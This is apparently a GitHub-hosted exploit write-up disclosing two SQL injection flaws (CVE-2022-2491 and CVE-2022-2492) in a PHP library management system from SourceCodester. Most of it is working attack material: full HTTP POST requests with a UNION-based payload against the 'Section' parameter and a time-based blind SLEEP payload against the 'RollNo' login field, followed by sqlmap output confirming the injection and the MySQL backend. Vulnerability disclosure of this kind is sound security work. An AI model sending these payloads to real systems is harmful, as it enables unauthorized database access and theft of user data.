<> Code   ⊙ Issues   � Pull requests   ▷ Actions   ▦ Projects   ⓘ Security   ∿ Insights

ᛈ main ⌄   ···

CVEproject / xiahao.webray.com.cn / **Library-Management-System-with-QR-code-Attendance-and-Auto-Generate-Library-Card.md**

xiahao90 Update Library-Management-System-with-QR-code-Attendance-and-A... ···   ⟳ History

ᗅ **1 contributor**

☰   54 lines (42 sloc) | 1.92 KB   ···

Exploit Title: Library Management System with QR code Attendance and Auto Generate Library Card - Multiple SQL injections

Date: 2022-07/20

Exploit Author: xiahao@webray.com.cn

Vendor Homepage: https://www.sourcecodester.com

Software Link: https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html

Version: 1.0

Tested on: windows10 + phpstudy

1./admin/lab.php(CVE-2022-2491)

/lab.php SQL injection exists for parameter Section

Sample request POC #1

```
POST /admin/lab.php HTTP/1.1
Host: [IP:PORT]
Connection: close
Content-Length: 208
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/97.0.4692.99 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: null
Sec-Fetch-Site: none
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

submit=1&Section=1' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,CONCAT(0x71716b7171,0x546e4444736b7743575a666d4873746a64506
```

Sqlmap running results

2./index.php(CVE-2022-2492)

/index.php SQL injection exists for parameter RollNo

Sample request POC #2

```
POST /index.php HTTP/1.1
Host: www.l-ms.com
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

RollNo=admin' AND (SELECT 2625 FROM (SELECT(SLEEP(5)))MdIL) AND
'KXmq'='KXmq&Password=1231312312&signin=Sign In
```

Sqlmap running results


```
[16:55:20] [INFO] parsing HTTP request from '.\sqlmap\1.txt'
[16:55:21] [INFO] resuming back-end DBMS 'mysql'
[16:55:21] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=fc9bqbbf4ne...h1ff9un3Oq'). Do you want t
o use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: RollNo (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: RollNo=admin' AND (SELECT 2625 FROM (SELECT(SLEEP(5)))MdIL) AND 'KXmq'='KXmq&Password=1231312312&signin=Sig
n In
---
[16:55:21] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.4, Nginx 1.15.11, PHP
back-end DBMS: MySQL >= 5.0.12
[16:55:21] [INFO] fetched data logged to text files under 'C:\Users\111\AppData\Local\sqlmap\output\www.l-ms.com'

[*] ending @ 16:55:21 /2022-07-20/

PS E:\python>
```